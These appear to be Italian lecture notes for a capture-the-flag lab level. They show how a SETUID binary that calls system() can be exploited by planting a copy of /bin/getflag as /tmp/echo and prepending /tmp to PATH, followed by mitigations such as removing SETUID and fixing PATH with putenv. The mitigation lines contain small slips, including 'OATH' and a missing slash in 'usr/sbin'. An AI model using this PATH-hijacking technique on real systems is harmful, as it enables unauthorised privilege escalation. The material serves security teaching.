Obiettivo: eseguire /bin/getflag
con i privilegi dell’utente flag01
Digitiamo ls -la /home/flag01/flag01
→ il file flag01 è di proprietà di flag01, è eseguibile dagli utenti del gruppo level01 ed è SETUID
system()
esegue un comando di shell passato come argomento
In programmi SETUID o SETGID potrebbe compromettere l’integrità del sistema con strani valori per le variabili d’ambiente
Non funziona correttamente se /bin/sh
è bash → controlliamo ls -l /bin/sh
→ lo è
env
comando di shell che se invocato da solo stampa la lista delle variabili d’ambiente, altrimenti esegue command
nell’ambiente modificato ottenuto dopo aver settato le variabili ai valori specificati
echo
comando che stampa i suoi argomenti sullo standard output
PATH
variabile d’ambiente che imposta la sequenza ordinata di cartelle scandite dai programmi di sistema alla ricerca di file specificati con un percorso incompleto
cp /bin/getflag /tmp/echo # copia getflag in /tmp con il nome echo
export PATH=/tmp:$PATH # fa trovare /tmp prima di /usr/bin
/home/flag01/flag01
Debolezze
Mitigazioni
disattiviamo SETUID sudo -i
chmod u-s /home/flag01/flag01
impostiamo in maniera sicura PATH con putenv("PATH=/bin:/sbin:/usr/bin:usr/sbin");
compiliamo gcc -o flag01-env level01-env.c
impostiamo i privilegi chown flag01:level01 /home/flag01/flag01-env
chmod u+s /home/flag01/flag01-env
impostare il OATH ed eseguire PATH=/tmp:$PATH
/home/flag01/flag01-env